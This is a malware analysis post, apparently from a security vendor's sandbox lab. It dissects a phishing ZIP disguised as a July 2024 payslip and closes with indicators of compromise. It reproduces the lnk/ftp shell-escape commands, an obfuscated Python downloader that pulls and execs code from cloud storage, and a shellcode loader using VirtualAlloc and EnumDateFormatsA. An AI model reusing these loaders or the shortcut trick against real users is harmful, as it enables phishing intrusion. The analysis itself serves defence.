
在HVV行动中,红队的黑客们总是能想出不少脑洞大开的攻击套路。本次,我们将介绍近期发现的一种新型压缩包攻击手法,攻击者将完整的Python可执行程序封装于压缩包内,通过快捷方式调用pythonw.exe后台执行恶意.pyw文件,再打开一个文档文件掩盖后台的恶意行为。目前,天穹沙箱已经发现数个使用此攻击方式的钓鱼样本,在此前的HVV专题中也简要地提到过这种攻击方法。考虑到这种钓鱼套路很容易诱使用户中招,因此我们结合天穹沙箱强大的压缩包分析功能,对此类攻击方式进行了更为深入细致地剖析。
样本名:2024年7月份工资单.zip
SHA1:b763b7cc4f5a8912b51be69f8140459cfcabe360
文件类型:ZIP
文件大小:7.18 MB
报告链接:https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=4ffb7ff36302e713d881ed8af605e3c2&index=0&sk=02333320&devsk=ae9498285599a8e67ef352f81419e2b6x&debug=false
1. 压缩包解压
天穹沙箱支持压缩包智能化解压,能够自动尝试解压包含密码的压缩包样本,如果样本密码设置复杂,沙箱将提示用户解压需要密码,用户可将鼠标移动到解压需要密码提示处,如图1所示,在弹出的悬浮框内输入密码,点击重新分析即可,沙箱将使用输入的密码重新分析样本。

2. 压缩包分析
解压恶意压缩包文件是一项极具风险的行为,天穹沙箱支持静态分析压缩包,可全面分析压缩包内潜在风险项。根据沙箱分析结果,报告的压缩包检测部分标注出该压缩包样本存在多个风险内容:快捷方式命令执行、文件名欺骗、快捷方式图标修改和利用MacOS目录隐藏高风险文件,行为描述列解释了威胁归类依据,如图2所示。

报告的解压过程信息部分展示了该样本的目录结构信息,如图3所示。向下滑动表格可以看到,天穹沙箱对该样本内嵌的子压缩包文件python37.zip也做了解压处理。

下面以目录结构树的形式列出该样本的部分文件内容。经由沙箱分析人员检验,压缩包内的__MACOSX目录的确为MacOS系统产生的中间文件,没有隐藏恶意内容。而2024年7月份工资单目录下包含的lnk文件和__init__子目录,掩藏着攻击者要实施的恶意行为,若用户不慎点击2024年7月份工资单.lnk,就会立即启动木马程序。
├─2024年7月份工资单│ │ 2024年7月份工资单.lnk│ ││ └─__init__│ │ 11.docx│ │ action.py│ │ conhost.exe│ │ main.py│ │ main.pyw│ │ python.exe│ │ python3.dll│ │ python37.dll│ │ __pycache__│ └─...└─__MACOSX│ ._2024年7月份工资单│└─2024年7月份工资单│ ._2024年7月份工资单.lnk│ .___init__│└─__init__._11.docx._action.py._conhost.exe._main.py._main.pyw._python.exe._python3.dll._python37.dll.___pycache__...
那么,攻击者到底是如何执行恶意操作的呢?我们根据天穹沙箱的压缩包样本智选分析结果,查看子样本2024年7月份工资单/2024年7月份工资单.lnk的分析报告,如图4所示,跟随报告内容逐步揭秘该样本的攻击手法。

3. 快捷方式分析
要理解该样本的攻击原理,首先要知道快捷方式到底做了什么。在报告的快捷方式文件信息部分列举了沙箱提取到的样本文件信息,DATA字段揭示了快捷方式的真面目:调用ftp执行shell命令。如图5所示。

样本通过多次返回上级目录../的操作定位到C:\,进而获取到ftp的绝对路径C:\Windows\System32\ftp.exe,拼接上命令行参数后的实际行为如下:
C:\Windows\System32\ftp.exe -""s:__init__\libvcc.dll
由此可见,该快捷方式利用了ftp命令执行脚本文件,-s参数表示执行脚本文件__init__\libvcc.dll,显然libvcc.dll并非一个真实DLL文件,其内容如下:
!start /b __init__\conhost.exe __init__\main.pyw!start /b __init__\11.docxbye
!表示转义到shell,因此最终样本会创建进程__init__\conhost.exe __init__\main.pyw,并使用默认程序打开文件__init__\11.docx。
main.pyw是一个python脚本文件,内容如下,那conhost.exe真的就是conhost.exe吗?
import action
通过查看conhost.exe详细信息,发现其原始文件名为pythonw.exe,如图6所示,所以样本实际是调用pythonw执行了pyw文件:

action.py的内容如下,主要为样本从https[:]//s0e13iyxdsdic.oss-cn-heyuan.aliyuncs.com/SSJn3qA下载payload数据并解密执行。
import astimport pickleimport ctypes ,urllib .request ,codecs ,base64import sys ,sslssl ._create_default_https_context =ssl ._create_unverified_contextOO00O0OO00OO00OO0 =urllib .request .urlopen ('https://s0e13iyxdsdic.oss-cn-heyuan.aliyuncs.com/SSJn3qA').read ()def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]return bytes (O0OO000OO0OOO0O00 )def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):O0O0OO0O0OO0O00OO =""for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )return O0000O0O0OOO000O0 .decode ()OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())class A (object ):def __reduce__ (OOOOOOOOO000000OO ):return (exec ,(OO00O0OO00OO00OO0 ,))def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):try :O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))except Exception as OO0OOO00000OO00O0 :exit ()OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )
解密后的内容是另一段Python代码,样本会通过exec接口执行这段代码,其内容如下所示。该代码会从另一个阿里云地址https[:]//m1pgwd1e3e8.oss-cn-hangzhou.aliyuncs.com/wHhkABfjGr下载加密后的Shellcode,解密后利用回调函数EnumDateFormatsA执行Shellcode。
import ctypes,urllib.request,codecs,base64encrypted_data = urllib.request.urlopen('https://m1pgwd1e3e8.oss-cn-hangzhou.aliyuncs.com/wHhkABfjGr').read()encrypted_data = encrypted_data.strip()while 1:try:#64key = b'flIZpfxbSpiZzRXib'decoded_data = base64.b64decode(encrypted_data)sc = OO0000OO00O00OOOO(decoded_data, key)=ctypes.c_uint64rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)len(sc))ctypes.c_int16(0), ctypes.c_int16(0))except Error as e:print(e)
解密后的Shellcode内容如图7所示:

沙箱的网络流量监控记录了Shellcode的联网行为,该Shellcode执行后首先从http[:]//secure.globalsign.com/cacert/gsrsaovsslca2018.crt下载了一份CA证书,如图8所示:

随后利用Host伪装技术,从211.90.133.161和36.25.245.80进一步下载Payload,如图9所示。由于这两个地址都已死亡,无法继续分析样本的后续行为。

4. 同源分析
在之前的HVV报告(HVV专题:典型HVV样本总结与IOC收集(第一期))的典型样本分析部分,例举了一个名为化学物质环境风险评估与管控技术标准体系框架生态毒理学行业标准意见建议.zip的压缩包样本,这个样本的攻击方式与上述分析的样本几乎完全一致,包括利用快捷方式执行ftp命令,利用pythonw.exe执行main.pyw,甚至包括action.py的加密算法都完全相同,并且这个样本执行Shellcode在访问C2地址时也使用了Host伪装技术。稍有区别的是,这个样本未对Python脚本进行混淆,也没有修改pythonw.exe的文件名,由此推测2024年7月份工资单.zip是该样本的升级版。
对比IOC发现,两者在Python脚本中下载Payload使用的域名同为阿里云存储:
化学物质环境风险评估与管控技术标准体系框架生态毒理学行业标准意见建议.zip
https[:]//alifeiyun.oss-cn-beijing.aliyuncs.com/aliyunServerData 【阿里云存储】
2024年7月份工资单.zip
https[:]//s0e13iyxdsdic.oss-cn-heyuan.aliyuncs.com/SSJn3qA 【阿里云存储】https[:]//m1pgwd1e3e8.oss-cn-hangzhou.aliyuncs.com/wHhkABfjGr 【阿里云存储】
Host伪装使用的IP地址均归属于浙江电信:
化学物质环境风险评估与管控技术标准体系框架生态毒理学行业标准意见建议.zip
https[:]//180.97.247.210/q5f3wyV/home/pagedata/pageserver.6 【[中国]江苏省/徐州市/中国电信】https[:]//180.97.247.210/q5f3wyV/home/pagedata/pageserver.7 【[中国]江苏省/徐州市/中国电信】https[:]//180.97.247.210/q5f3wyV/home/pagedata/pageserver.8 【[中国]江苏省/徐州市/中国电信】https[:]//180.97.247.210/q5f3wyV/home/pagedata/pageserver.9 【[中国]江苏省/徐州市/中国电信】
2024年7月份工资单.zip
https[:]//36.25.245.80/bdstatic/static/superman/img/topnav/newbaike.png 【[中国]浙江省/湖州市/中国电信】https[:]//211.90.133.161/bdstatic/static/superman/img/topnav/newbaike.png 【[中国]福建省/福州市/中国电信】
据此可以推断,两个样本很大概率为同一攻击者制作。
四、IOC
恶意文件(SHA1)B763B7CC4F5A8912B51BE69F8140459CFCABE360 2024年7月份工资单.zip655001CBC610D41B807C4F69B15938763ED46F65 main.pyw76889C6FA2EDC44E272F534CE36F7D23C0AACA6C action.py恶意链接https[:]//s0e13iyxdsdic.oss-cn-heyuan.aliyuncs.com/SSJn3qA Python下载链接1https[:]//m1pgwd1e3e8.oss-cn-hangzhou.aliyuncs.com/wHhkABfjGr Python下载链接2https[:]//36.25.245.80/bdstatic/static/superman/img/topnav/newbaike.png Payload下载链接1https[:]//211.90.133.161/bdstatic/static/superman/img/topnav/newbaike.png Payload下载链接2
报告链接:https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=4ffb7ff36302e713d881ed8af605e3c2&index=0&sk=02333320&devsk=ae9498285599a8e67ef352f81419e2b6x&debug=false
五、技术支持与反馈
网址:https://sandbox.qianxin.com/sscc-tq-web/
点击左下角“阅读原文”进入星图实验室官网
星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。
我们目前正在招聘,工作地点覆盖北京、南京、成都等城市,详情请参见:
https://research.qianxin.com/recruitment/

